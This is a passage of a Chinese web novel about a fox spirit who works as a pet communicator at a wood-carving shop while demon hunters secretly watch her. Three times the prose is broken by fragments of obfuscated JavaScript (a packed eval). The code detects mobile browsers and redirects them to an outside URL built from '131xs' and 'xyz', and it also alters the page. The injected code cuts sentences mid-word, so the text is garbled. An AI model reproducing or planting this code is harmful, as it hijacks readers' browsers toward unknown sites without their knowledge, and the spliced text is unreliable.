“妈，你快喝口水吧。”月婷姐倒了杯温水递给王奶奶，试图用喝水让她停止絮叨。 小柳见她们母女亲密的样子，笑着劝说王奶奶：“王奶奶，月婷姐也是担心你，为你好。” “哎，人老了就是这样，三天两头地添麻烦，这两天都耽误月婷工作了……”王奶奶叹口气，神色消沉。 小柳见状故意转了话题，说道：“奶奶，我和店长这次出去办事特别顺利，还认识了狗狗学校的校长呢！” 接着，小柳跟王奶奶、月婷绘声绘色地讲述了这两天的见闻，提到大头被揭穿的时候，情绪激动，忍不住站了起来。 “你说的鹏哥真是个好人啊！”王奶奶感慨道，“小柳，你帮我找找他的账号是哪个？我也想关注他。” 小柳接过王奶奶字超大的手机，搜索【鹏哥（狗狗好伙伴）】，点好了关注。 月婷将一颗剥好了的橘子塞到小柳手里。 “对了，柳儿，你吃个橘子，陪奶奶坐会儿，等会儿让你月婷姐送你回去。” 小柳连连摆手：“不用送，不用送，月婷姐来回开车怪麻烦的，我等会儿自己溜达回去就行。” 月婷关切地问道：“你自己认得路吗？” “姐，你太小看我，你别忘了我可是……”小柳话说到一半，被月婷剜了一眼立马噤声。 好险，差点说漏嘴了，暴露自己是狐妖，幸亏王奶奶耳朵有点背，没发现异常，小柳战术性地往嘴里塞了瓣橘子。 小柳陪着王奶奶，一直待到黄昏才离开，就像她说的，毕竟她是狐妖，走过一遍就能认得路，她脚程很快，不到半个小时便回到了木雕店。 …… 跟项目经理们开了一天会，头昏脑涨的周陈飞回到了“新川建设”顶层办公室。 太阳已经落山了，办公室里没有开灯，周陈飞揉揉太阳穴，坐直了身子，捡起桌上的眼镜戴上，打开笔记本电脑。 六子的消息噼噼啪啪弹出来，周陈飞点开照片一张张翻过去。 他一眼锁定了小柳，这张清纯的脸不知道是用多少人的鲜血浇灌出来的，看似人畜无害，实际上却是五百多岁的大妖。 目光移到旁边的木青杨，周陈飞不耐烦地撇着嘴，又来一个被美□□惑的蠢货，还跟狐妖住在一起，嫌自己命长可以麻溜去死，现在还得费力气救他。 当了一天“周总”，烦人的工作让周陈飞心情相当不好，看照片都带着气。 六子刚开始监视工作，传过来的照片不多，周陈飞漫不经心地快速浏览着，思绪已经飘到了如何避开普通人，解决狐妖。 最后一张照片，有个长卷发女人倚着车门，和狐妖一起停留在木雕店门口，两人关系看似十分亲密，角度所限，六子的镜头只拍下了她的半张侧脸。 可看到这张照片的周陈飞却怔在了原地，像是一口气喝了三杯黑咖般心脏砰砰直跳，握着鼠标的手微微颤动着，鼠标移到长发女人，不断放大，再放大…… 他盯着这张记忆中熟悉的脸，不敢相信地倒吸一口冷气，随后又笑了笑，喃喃自语道：“这世界还真是小……” 好久不见啊，乌鸦学姐，王月婷。 “喂，六子，查查照片上的卷发女人，和狐妖什么关系。她叫王月婷，月亮的月，婷婷玉立的婷。”周陈飞拨通六子的电话下了命令。 挂断电话后，他站起身，走向身后的书架，借着窗外的霓虹灯光，周陈飞取下一本红色的大部头书籍，书架从中间缓缓分开，他走进了灯火通明的密室。 密室中存放着关于除妖师的所有资料，包括老祖宗留下的全本《除妖本纪》，《除妖本纪》分上下册，上册影印多本，分发给了家族内各除妖师，而凝聚精华的下册则由历代家主保管，里面记载了血咒、回生术等机密术法，普通的除妖师没有资格查看。 不过，《除妖本纪》并不是周陈飞的目标，他的脚步停在了一处暗格，内里存放着白色的小保险箱，周陈飞停顿片刻，输入密码，拿出了一个锦囊。 这锦囊以上好的锦缎为材料，上面密密麻麻的金线排布成了符咒，异常精美华贵。 周陈飞打开锦囊，里面飘出泛着青白色光芒的光团，缓缓飘向周陈飞，最终隐入他的心口。 这是云雀的灵魄，周家捕获并提炼出的第一只妖。 他取出口袋巾，捂着鼻子，浓重的妖气刺激着他的鼻腔。 上次用这灵魄还是十年前，他强忍着深呼吸好几次，才渐渐适应了这股妖气。 有时候鼻子太灵敏也是个麻烦。 狐狸、乌鸦，现在再加上自己这只“云雀”，三妖聚首，事情变得有趣起来了。 周陈飞退出了密室，站在窗前欣赏着夜景，拨通了外甥周家宝的电话。 …… 除妖师的种种动作小柳浑然不觉，回到熟悉的卧室，晚上她学着木青杨的样子，雕刻了一会儿小兔子，随后上床睡觉，度过了安稳的一晚。 “早啊，小柳。”第二天一大早，小柳刚出卧室便撞到了正在下楼的木青杨。 “店长早，我洗漱一下去遛狗。”自从木青杨醉酒后，脸上总是挂着意味不明的笑，小柳一看那笑就难受，这两天总躲着木青杨。 小柳进了洗手间，以迅雷不及掩耳之势洗漱完，牵着绵绵和豆豆出了门。 前脚小柳刚出门，后脚六子和周家宝也出了出租屋，开着车不紧不慢跟着小柳，始终和小柳保持着安全距离。 小柳牵着绵绵豆豆来到街心公园散步，顺便解决小狗三急，不远处周家宝和六子躲在假山后。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126319|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “六叔，这能行吗？我一向不会演戏的，你说舅舅这不是强人所难吗？”周家宝一脸菜色，缠着六子耍赖。 “周总说了，让我帮着你接近狐妖，你长得又不比木雕店那男人差，狐妖最喜男色，你就放心上吧，没问题。” 六子一副坚决执行自家老板命令的样子，他心里默默吐槽，要不是勾引狐妖的容貌要求高，那里能轮到周家宝这个不学无术的二世祖呢。 “舅舅说得轻巧，他也长得挺帅的，怎么不自己上啊？”周家宝一身运动装，原地跳着说。 “周总不行，他不像是出现在街心公园的人，好了，我去了啊，狐妖走过来了。”六子从假山后绕出来，假装是边看手机边散步的路人，朝小柳走过去。 周家宝一脸不爽，但开弓没有回头箭，他还是按照原定计划从假山另一侧跑出去，假装慢跑的路人。 六子手中捧着手机，故意没看路，走向绵绵。 小柳看有人靠近，拉着狗绳想把绵绵拉回来，眼前的男人却像故意似的，绵绵朝左他也朝左，绵绵朝右他也朝右，小柳刚想出声提醒，男人便猛地往前一扑，跨过绵绵，倒在地上捂着腿哎呀哎呀地叫着。 小柳一脸疑惑，明明没看到绵绵绊倒他呀，但人已经倒了，出于好意，小柳还是牵着狗狗上前关心。 “您没事吧？”小柳弯下腰，像男人问道。 “怎么可能没事！你怎么牵狗的？我好好走路，你家的狗把我撞倒了你看不到吗？”小柳只是好心询问，男人却突然暴走，声音超大质问小柳。 其他路人频频侧目，即便小柳什么都没干，也不免被这目光惹得红了脸。 六子看似理直气壮，其实他手心都冒汗了，自己面对的可是狐妖，逼急了一巴掌就能把自己拍飞，好在清晨公园里晨练的人多，狐妖想施展妖术也不会选择这里。 小柳仍旧心平气和地向六子解释，可六子一副得理不饶人的样子，扬言腿摔坏了，让小柳陪他去医院，负担医药费。 期间六子还多次拉拉扯扯，小柳迫于公园人多，一时间竟摆脱不了他。 眼看围观群众越来越多了，小柳越来越着急，此时，周家宝从不远处跑过来，按照计划，该他出场了。 “你这人还要脸吗？一个大老爷们儿，拦着人家小姑娘不让走，谁说她的狗撞你了？人家牵着狗走得好好的，你瞎了眼似的，举着个手机硬是往上撞，自作自受，现在还来倒打一耙，我可是看得清清楚楚！” 周家宝没想到自己还真是块演戏的材料，台词说得顺溜极了，一入戏边就刹不住车，对着六子一顿输出，劈里啪啦一番理论，把六子赶走了。 “真是太谢谢你了。”小柳双手合十，感激地向周家宝道谢。 周家宝一看狐妖的脸，怪不好意思的，都说狐妖化形极美，而且面前这个还很有礼貌，好像也不是很危险，他瞬间觉得这份差事也没那么苦了。 …… 同一时间，木雕店也有一场和小公园一样的初相识。 西装革履的周陈飞按响了木雕店的门铃。 “来了来了。”木青杨系着工作围裙，手里还拿着雕刻刀，急匆匆地开了门。 “您好，请问这里可以订做宠物木雕吗？” 15. 复出 小柳没想到公园里意外遇到的男人竟然这么健谈，得知小柳在宠物木雕店工作后，一路上周家宝的嘴就没停过，各种类型的萌宠趣事被他说了个遍，不知不觉两人已经绕着公园步道走了五六圈。 这种感觉对小柳来说很新奇，平时待在木雕店里，店长是个不折不扣的安静美男子，为了活跃气氛，常常是小柳主动挑起话题，而在周家宝面前，小柳只需要当个倾听者就好。 叮铃铃，手机铃声响起，小柳用的是店里的工作手机，卡号自然也是木青杨办理的，小柳看看屏幕，果然是店长来电。 “喂，小柳，你遛狗怎么遛了这么久啊，走到哪儿了？”电话那头传来木青杨关切的声音。 “啊！不好意思店长，我在公园散步没注意时间，我现在就回去。”小柳看了看时间才发现出门遛狗已经两个多小时了，店长肯定是等得着急才会给自己打电话。 听小柳马上要回家，周家宝很有眼力见的，留下了自己的联系方式，主动和小柳告别。 直到小柳走远了，他才去和六子汇合。 …… “店长，我回来啦~”小柳抱着走不动路的绵绵，牵着豆豆，心情愉快地进了门。 木青杨递来一张纸条，上面写着一串电话号码，“小柳，刚刚有客人来了，说要订制木雕，这是他的联系方式，你加一下，问问他具体什么要求。” “好嘞！” “出去遛了个狗怎么这么开心？”木青杨看小柳比起出门前开心不少，好奇地问。 小柳像放学回家的小学生一样，一五一十地跟“家长”讲述了交到新朋友的事。 “店长，就是这个人。”小柳点开社交软件好友列表，将手机递给木青杨。 木青杨点开对方大头照左看右看，“他叫周家宝是吗？”，名字像个小学生，长得也一般般，戴着墨镜，一副臭屁的样子，木青杨在心里默默吐槽。 “这个人靠谱吗？第一次见面就说这么多话？” 小柳沉默，不知道店长这莫名其妙的挑剔劲儿从何而起。 木青杨见小柳没说话，以为她不开心了，转念一想，以前小狗圆圆也热爱交朋友，一出门碰到大狗小狗都要上前打招呼，拽都拽不住，圆圆变成小柳了，爱交朋友的活泼性格倒是一点没变。 可对方毕竟是初次见面的陌生男人，木青杨还是叮嘱道：“下次如果要跟他见面，得告诉我一声，毕竟不知道他的底细。” 小柳笑眯眯地回复：“好嘞店长，那我就去联系客户啦。”每次听到店长的嘱咐和关心都让她心情很好。 小柳正要进卧室，脚下一顿，又向木青杨补充道：“哦对了，店长，我们的直播工作也可以继续咯，我先去发一条预告视频。” 之前因为恶评，算下来已经快一周没直播了，准备好的付费直播还是得继续搞才行。 “不着急，你先休息休息吧，前段时间的订单都排到下个月了，还得加班加点做呢。”木青杨已经坐在工作台前开始埋头苦雕了。 “不行店长，再不播又该掉粉了，趁着这波流量得接着搞付费直播，我不挂定制链接，你慢慢做之前的单子吧。”小柳说完，走进卧室开始工作。 她照着纸条上的电话号码添加了客人的账号，好友申请很快通过了，客人的头像是只褐色的小鸟，小柳疑惑，这是什么鸟？小麻雀吗？圆嘟嘟毛茸茸，还怪可爱的。 客人名叫周陈飞，这名字和小鸟头像一点都不搭配。 “亲亲您好，我是【青杨宠物木雕】的客服，您是想定制宠物木雕吗？您可以先把要求发给我~~” 小柳发出信息后等了半天，对方却没有回复。她只好先把这件事搁置一边，开始准备预告视频。 周陈飞看着聊天框里那句热情的客服话术，心中感慨：这年头妖也这么不好当，就为了害个人，有必要做到这种程度吗？这么自降身价…… 结合家宝刚刚汇报的信息，这只狐妖太让人迷惑了，怎么看都和穷凶极恶这四个字扯不上关系。 他一时间不知道该怎么回复，打了几行字又删了，决定还是先让家宝继续观察一段时间，再做打算。 …… 当天晚上，小柳重启了付费直播工作。 自从揭发大头后，为大头作伪证的【灵宠巫女】口碑受损，掉粉不少，与之相反，小柳这个“初出茅庐的神婆”受到了更多关注，直播间的氛围比之前热闹许多。 后台甚至收到很多私信，询问小柳是否收徒或做宠物沟通教学，可小柳作为狐妖，天生就能和百兽沟通，这项能力只能遗传不能教授，对于这类私信，小柳爱莫能助，只好不作回应。 【木头人】因为忙工作，罕见的没有出现在小柳的直播间，反倒是不认识的账号【南瓜小米周】一进直播间便刷了个大火箭，小柳吃了一惊，连连道谢，给金主爸爸鞠了一躬。 当天晚上的沟通连线大多数比较常规，小柳三言两语便帮助宠物主解决了问题，唯有一次连线叫人印象深刻，成功将直播间气氛推向高潮。 “老师您好，我跟您连线主要是为了我家的‘逆子’”，镜头翻转，出现了一只毛发顺溜、干干净净的边牧狗狗，“我和我老婆新婚半年了，它是我老婆的陪嫁，叫顺溜。” “顺溜你好啊。”小柳跟狗狗打招呼，小狗眼睛滴溜溜转，一看智商就很高。 浑厚的男声继续说道：“老师，我总觉得顺溜不尊重我，它平时总爱咬拖鞋，可它从来不咬我老婆的，专门咬我的。还有，我每次帮它收拾狗玩具，它都要生气冲着我吼。” 男人为了证明，特地拿了个毛绒狗玩具走到镜头前，顺溜果然冲着他狂叫，甚至冲上来把狗玩具叼走。 “而且，我现在根本就没办法遛狗，每次牵它出去，它都跟我对着干，完全不听话。” 男人顿了顿，略带哽咽地说：“老师，您帮我问问顺溜，它到底对我哪里不满意呢？我媳妇工作忙，平时都是我带它，可它真的一点都不领情……” 小柳先是安慰一下委屈的主人：“您别难过，小狗心思很单纯，肯定不是故意针对您的。”随后便问了小狗几个问题。 顺溜果然很聪明，在狗界属于出口成章的那一类，有理有据地向小柳解释原因。 “顺溜说，妈妈又带回家一只‘大狗’，每天都跟他抢玩具、抢吃的，占它的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126320|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘，而且晚上还霸占了卧室，自从这只‘大狗’来了，妈妈都不愿意陪它出去玩了，可每次去外面‘大狗’都像狗皮膏药一样跟着它，甩都甩不掉。” 小柳转述完狗狗的话，又接着对男主人补充道：“我猜顺溜是把您当成同类了，在它眼里，您不是主人，而是跟它抢地盘的大狗，所以它才会有攻击行为，其实它没有坏心思的，只是想吓唬您，让您不要侵犯它的领地。” 男主人顿时急了，向小柳求助道：“老师，能不能跟它解释一下，我不是狗，我是它爸爸啊，和妈妈一样也是它的主人，至少让它遛狗的时候配合一下吧……” 小柳试了试，可顺溜是个聪明小狗，有自己的原则，坚持把男人当狗。 对于小狗神奇的脑回路，弹幕一片【哈哈哈哈】，当事人也哭笑不得。 可客户毕竟花了沟通费，发现了问题，但没法解决，这让小柳很挫败。 她沉思一会儿，灵光一闪，有了主意，“这样吧，顺溜爸爸，既然它一定要把您当同类，那您可以当大哥，它当小弟，这样它也能听您的话。” “那我该怎么做呢？”男主人追问道。 “家里有牵引绳或者狗笼子吧，先把它控制在一个角落，然后让女主人给您喂食，或者玩狗玩具，这样至少可以让顺溜觉得您的地位比他高。” 弹幕里网友们也热情地给出了建议： 【让你女朋友单独牵着你出去遛弯试试呢？可以提升狗界地位。】 【这很难评，首先你得是个优秀的狗狗……】 【舔它屁股，它的狗粮你要吃第一口，让它知道谁才是头狼[爱心]】 “那我试试吧……”男主人将信将疑地说，“过几天再向老师反馈效果”。 “好的哦，等您的好消息。”小柳跟顺溜拜拜后，挂掉了连线。 【南瓜小米周】此时又刷了个火箭，他像个看戏的观众，直播间里有好戏上演，一开心了，他就会刷个火箭。 这样大方打赏的观众可遇不可求，小柳马上站起身谢谢老板。 木青杨在工作台前打了个喷嚏，怎么隐隐约约听到有人在叫老板呢？ 晚上十点小柳结束了直播，退出视频软件，她才发现消息列表里躺着一条信息。 “突然发现你工作的木雕店还有视频账号呢，等会儿直播我也去看看，我的ID是【南瓜小米周】哦。” 发信人是周家宝。 小柳发送了一个感谢的表情包，留言：“谢谢你送的火箭！” 对方秒回复：“明天遛狗吗？公园见？” 小柳迟疑片刻，没有立即回复，她走到工作间，询问木青杨：“店长，明天遛狗的时候去公园，周家宝也会在。” “然后呢？” “你不是让我要跟他见面的话，先跟你说一声吗？”小柳挠挠头。 “明天一起去遛狗吧。”木青杨抬头看着小柳，他也不知道自己为什么要这么说，嘴比脑子快，马上又解释道：“你牵豆豆，我牵绵绵，刚好遛两只，顺便介绍认识一下你的新朋友。” “好呀。”小柳心想这可不只是朋友，还是我们直播间的榜一大哥呢。 16. 出差 “店长，我们要出发了！”小柳牵着绵绵朝二楼喊，身旁还蹲着乖巧等待的豆豆。 木青杨姗姗来迟，从小柳肩膀上取下遛狗用品小包，接过豆豆的牵引绳，说道：“走吧。” 小柳锁了门，跟着木青杨，两人一前一后向公园走去。 清晨的公园里有很多晨练的大爷大妈，气温还没那么高，非常适合散步，豆豆和绵绵找了块心仪的草地开始上厕所，就在这时，周家宝来到了二人身边。 “小柳，好久不见啊。”周家宝还是一身运动服，嗞着大牙小跑过来。 木青杨心想，昨天不是刚见过吗？说什么“好久不见”，这人说话真是夸张。 小柳却不介意，热情地打招呼：“家宝，早上好呀，我给你介绍一下，这位是我们店长，木青杨。” “怪不得你们店叫【青杨宠物木雕】呢，店长您好。”周家宝向木青杨伸出右手，心想，他就是舅舅口中被狐妖迷惑的糊涂男人，看着也不傻啊。 木青杨一向排斥肢体接触，但出于礼貌，还是跟周家宝握了握手。 “店长，我昨天直播的时候，家宝还给我们打赏了，刷了两个火箭呢！”小柳拉着木青杨的胳膊，伸出两个手指，语气里满是兴奋。 木青杨虽微笑着，心里却对眼前这个看似阳光开朗的年轻人警惕起来，刚认识就打钱，分明就是冲着小柳来的，一瞬间脑海里全都是各种主播和大哥之间的八卦。 “谢谢您的礼物，不过我们直播间主要还是做付费连线，您要是有需要可以付费沟通，就不要破费刷礼物了。”木青杨谈谈地说。 “对，我们是朋友，不用这么客气，不要破费，你来咨询连线的话，给你打八折。”小柳笑盈盈地附和道。 周家宝正欲开口，绵绵和豆豆正好上完厕所，木青杨拽着小柳去清理，根本没给周家宝说话的机会。 平时养尊处优、处处被照顾的周家宝哪里受得了这样的冷遇，当即给木青杨画上了一个大大的叉，心里认定此人是个被狐妖迷惑失了心智的猪队友。 就这样小柳每天早上带两只狗出门，木青杨都会同行，一直走到公园，遛狗小队继续壮大到三人两狗，这样的结伴出行，一共持续了七天。 起初木青杨和周家宝还能维持表面的和谐，勉强算是有说有笑，可两三天过去，交谈越来越夹枪带棒，单纯如小柳也看出两人并不对付。 到了最后两天，小柳走在中间，看看左边的木青杨、右边的周家宝，明明还是夏末，身体两侧却凉风嗖嗖，遛狗路上大片的沉默时光，气氛尴尬到她想抠个地缝把自己塞进去。 一直到了第七天一早，小柳刚起床，月婷姐便来电话，通知小柳，王奶奶出院了。 小柳拒绝了木青杨的遛狗同行请求，给周家宝发了不去公园的消息，直接带着两只狗狗去了王奶奶家，向月婷姐诉说了最近的苦恼。 “月婷姐，他们俩到底怎么回事？好像都很讨厌对方，我夹在中间真的很烦……” 月婷看着小柳苦恼的样子，不禁笑出了声，“他们怎么想是他们的事，你管他们做什么？” “啊？”小柳没想到月婷姐会这么说，一脸震惊。 月婷接着问：“你下山是为了什么？” 小柳笃定地回答：“为了报恩。” “怎么报？” “嗯……就是故事里说的那种……”小柳支支吾吾没有明确答复。 “是想跟他同床共枕，白头偕老那种吗？”月婷直截了当地问道。 小柳点点头。 月婷失笑，都什么年代了，一提到报恩就以身相许，“那你喜欢他吗？” 小柳沉思一会儿，小声回答：“我也不知道算不算喜欢，就是觉得他人很好，而且长得很好看……” “小柳，你现在的任务是搞清楚自己的心，不是他救了你，你就必须用自己去报答他的。如果你认识的新朋友更让你心动，也可以相处试试，没关系的。” 小柳最近伙食不错，脸上肉肉见长，低头思考时脸颊肉看着很可爱。 月婷忍不住捏捏她的脸，继续说道：“你还是太嫩啦，见的男人太少，有时间来姐店里，姐带你长长见识。” 话题转得太突然，小柳注意力成功被月婷吸引，也顾不上想关于两个男人的事情了，“姐，之前就听奶奶说你开店工作忙，是什么店呀？” “不告诉你，你什么时候想去了，姐带你去你就知道了。”月婷故意卖了个关子，撩撩头发，护发精油的香气很好闻。 小柳刚想跟月婷说现在就去店里看看，叮叮咚咚的手机提示音打断了她的话。 打开手机一看，视频软件后台几条信息跳了出来。 ID名【西北动物视界】一口气给小柳发了好几条消息，月婷凑过来和小柳一起看，这账号原来是“西北野生动物园”的官方视频号，对方是动物园负责短视频账号的运营人员，询问小柳有没有合作意向。 小柳把手机屏幕放在月婷和自己中间，接着往下滑看看怎么个合作法。 “这动物园还挺时髦，为了吸引流量，都找上宠物沟通师啦。”月婷调侃道。 “西北野生动物园”想和小柳合作，请小柳去动物园和园内野生动物沟通，最终制成系列视频，以“共创”方式发布到平台上。 “月婷姐，我得回店里了，这件事要问问店长。” 月婷恨铁不成钢戳戳她的脸蛋，“别老店长长、店长短的，人家邀请的是你，你想不想去？” 小柳眼睛亮亮的，问道：“西北好玩吗？” “当然了，西北地区和我们这边不一样，夏天很凉爽，风景又好，高山上的雪一整年都不会化。你狐狸毛这么厚，就当是去避避暑了。” “哇哦。”月婷姐的话说进了小柳的心坎里，她仿佛呼吸到了清凉干爽的空气。 “我想去。”小柳下定了决心，“不过我要和店长说一下，如果店长不忙的话，我想让他和我一起去。” “为什么？见不到他你想他吗？”月婷故意这么问，想帮小柳确认她的心。 小柳想了想回答道：“我下山以后就一直和店长待在一起，不太清楚分开会不会想他，不过，我觉得我们店长太孤单了，他好像没有朋友，除了工作，剩下的时间也几乎不出门，连我都交到了朋友……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126321|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >月婷摸摸小柳的脑袋说道：“你去问问他吧。” 真是个心地善良的好狐狸。 …… 小柳牵着绵绵回到木雕店，告诉木青杨这个好消息。 “店长，我准备接受邀请了，你要一起去吗？”小柳试探地问。 木青杨拿着工作手机打开聊天框，边翻看【西北动物视界】的消息边说：“当然要去，不过又得拜托王奶奶家照顾绵绵了。” “哎呀，我忘记问月婷姐了，王奶奶刚出院还需要人照顾，月婷姐工作忙，不知道能不能照看绵绵和豆豆。” 小柳拿过手机给月婷打去电话，说明情况。 电话那头，月婷姐毫不犹豫答应下来，“没事儿，你们去吧，我每天去店里的时候把狗带过去，店员会帮忙带的，放心，确定了时间告诉我，我去接狗。” 小柳连连道谢，心里对月婷姐的店更好奇了，又能见识更多男人，又能寄养小狗，这究竟是什么店呢？等从动物园出差回来一定要找时间去月婷姐店里看看。 解决了小狗寄养的问题，小柳继续和对方沟通，最终出发时间定在了两天后。 当天晚上，小柳又收到了周家宝的信息。 “小柳，明天去遛狗吗？一起啊！” 看着这条消息，小柳都能想象周家宝的语气，和他本人一样阳光明媚。 “不去啦，明天有事，准备在家附近浅遛一下。” 周家宝还在思考怎么回复，怎么询问能显得自然一点，没想到小柳那边已经发来了解释。 “我和店长要去出差，明天得收拾东西、做些收尾工作，没时间去公园遛狗了。” “那你们准备去多久呢？”周家宝发信息的同时给周陈飞打了电话。 电话那头传来周陈飞疲惫的声音：“怎么了？狐妖有异动吗？” “舅舅，小柳说她要出差，带她身边的男人一起。”他看了看小柳回复的信息，跟周陈飞补充道：“说是要走至少一周，那我这几天？” “你跟着去。”周陈飞注意到家宝叫狐妖叫得很亲近，看来这小子和狐妖相处得不错。 周家宝心里一阵哀嚎，怎么跟？用什么借口跟呢？ 本来他还以为这几天能放假去做自己的事情呢，自从年初开始巡封，到现在天天和六子蜗居监视小柳，他都半年多没回家了。 可惜面对舅舅兼家主兼老板，他也不敢不听话，只能弱弱地答应：“好吧……可是舅舅，我感觉狐妖不像是害人的那种……” “就是因为还没害人才让你跟着，人都被害了就晚了。”周陈飞说完便挂了电话，公司、家族大大小小的事情已经够让他心烦的了，狐妖那边可以先让家宝盯着，如果有异常自己再过去。 周家宝一听周陈飞的话，感觉很有道理，也只好照做。 不过他最终也没想到合适的借口跟小柳同行，而是询问了小柳的目的地，准备直接前往目的地，来个偶遇。 小柳对新交的朋友毫不设防，爽快的告诉周家宝这次的目的地是“西北野生动物园。” 小柳和木青杨航班前脚刚起飞，周家宝也紧随其后，三人一路向西…… 17. 合作 即便小柳是妖，也从未站上云端看过风景。飞机穿越云层，阳光透过舷窗洒在她脸上，温暖而明亮。 整整三个小时的行程，她一直看向窗外的景色，渐渐的广阔的农田取代了高楼林立的都市，继续向西行，山峦起伏，大地沟壑纵横，地势变得越来越崎岖，像是跨上了一个高高的阶梯，飞机稳稳地降落在高原之上。 小柳和木青杨跟着人群下了飞机。动物园工作人员举着有“小柳老师”字样的接机牌，早早等在了接机区域。 木青杨个子高，目光穿过行人，第一时间发现了接机牌，带着小柳和工作人员汇合。 “您好，请问您是小柳老师吗？” 小柳听到对方礼貌的称呼，呼吸着凉爽的空气，心情非常好，笑眯眯地回答：“对，我是林小柳。” 眼前这个衣着时尚，戴着银色项链的男孩挨个和小柳、木青杨握手，热情地接过行李，“老师，我是动物园视频账号运营，就是最近和您聊天那个，叫我乐子就好。” 他的视线停在木青杨身上，“这位就是青杨店长吧，老板好。” 木青杨淡淡微笑，打个招呼：“你好。” “两位老师，我们先去酒店办入住，等会儿领导请客，为二位接风洗尘。” 两人跟着乐子出了机场，木青杨边走边往小柳身上披了件外套，这里海拔高气温低，冷热交替容易感冒。 小柳身为一只毛茸茸的狐狸，才不怕冷呢，不过她知道店长是为她好，还是乖乖穿上衣服，抬头看看店长，用口型示意：“谢谢。” 从机场去往动物园附近的酒店还需要一个小时车程，一路上乐子简单介绍了这次合作拍摄的流程，他已经和园内饲养员们准备好了动物沟通的选题，哺乳动物区、鸟类区、猛兽区等各个区域沟通一到两只动物，最终剪辑成系列视频。 “好专业哦，第一次参加这样的活动。”小柳听了乐子的规划，对接下来的行程满怀期待。 “乐子，这么听下来剪辑任务还挺重的，你们团队人手够吗？”木青杨好奇地问。 乐子顿了顿，不好意思地说：“打工嘛，领导说人手够就得够哈哈哈。” 还怪诚恳的，木青杨对乐子印象不错，看似打扮花哨，却是个很实在的人。 小柳和木青杨在酒店办理了入住手续，两人各住一间，房间挨着，房间内简单干净，住宿条件还不错。 乐子接了个电话，根据领导的吩咐把两人带到“鑫隆羊肉馆”。 在饭桌上，小柳终于见到了这位能想到用动物沟通做宣传的时髦领导。 “今天特别欢迎二位，远道而来辛苦了。”领导客客气气地请二人入座，随后做起了自我介绍：“我先介绍一下，我是西北野生动物园的园长张志鹏，你们可以叫我老张。” “乐子，两位应该都认识了，负责视频运营的同事，这几天他会全程跟着完成拍摄，有什么事情两位可以直接找我，或者找乐子。” 小柳第一次参加这样的饭局，有些拘谨，木青杨便成了发言代表，他向园长递上两人的名片，“青杨宠物木雕|店长木青杨”、“青杨宠物木雕|宠物沟通师林小柳”。 小柳不知道自己这个小助理也有名片，一脸震惊看向木青杨。 木青杨余光瞟到她的表情，不禁有些得意，放在桌子下的手从名片夹里取出一张递给小柳。 小柳默念着名片上的文字：“青杨宠物木雕|宠物沟通师林小柳”，不是作为店长的助理，而是作为宠物沟通师，林小柳的大名整整齐齐地印在精美的卡片上。 她从这张小小的名片里感受到了尊重，还给木青杨一个感激的眼神。 小柳回忆，店长在出发前一天神神秘秘收了个快递，还不让她拆，估计就是制作的名片咯，真是贴心…… 本地羊肉馆的羊肉太好吃了，园长出手大方，几乎把店里的招牌点了个遍，手抓羊肉肥而不腻、炕锅羊肉汁浓味厚、土火锅食材丰富，小柳左右开弓吃得不亦乐乎，对园长也是越看越喜欢。 她看园长身材圆圆、脑袋圆圆，还戴着一副圆圆的眼镜，十分平易近人。 小柳最后扶着肚子跟木青杨上了乐子的车，直到回了酒店圆鼓鼓的肚子才恢复原状。 …… 第二天一早，西北野生动物园。 动物园比想象中还要大，据乐子介绍整个动物园占地面积一千多亩，按照拍摄顺序，几人首先来到熊猫馆。 园内有四只大熊猫“盼盼、兴兴、和和、欢欢”和两个饲养员李爷爷和宋姐。 宋姐见小柳来了，主动跟她打了招呼，而李爷爷却板着个脸，很不欢迎小柳的样子，非但没打招呼，经过小柳时还嘟囔了一句：“胡闹！” 这句“胡闹”声音不大，但足以让在场的人都听得清清楚楚，乐子大早上开工本来就没睡饱，还被吐槽，性格耿直的他当场拉了脸，小柳站在一旁感觉气氛不对，也有点尴尬。 还是宋姐站出来打了圆场，“别管他，他年纪大了，迂腐，接受不了新事物。”宋姐拉拉小柳的胳膊，说道：“小闺女，你就是能和动物沟通的那个……那个……” 木青杨在一旁补充道：“动物沟通师主播。” 宋姐爽朗地笑笑说：“对，对，沟通师。”小柳丝毫没有受到李爷爷的影响，冲宋姐笑着点点头。 乐子把相机架好，示意宋姐接着说。 “我们这里的熊猫盼盼最近总是杵在那个角落，一整天都不怎么动。”宋姐指指馆内一处不起眼的角落，放置着一块大石头。 李爷爷正把熊猫们一个一个放出来，只见一只憨态可掬的熊猫嘴里叼个小黄鸭，径直走向大石头，到达目的地后一屁股坐下不动了。 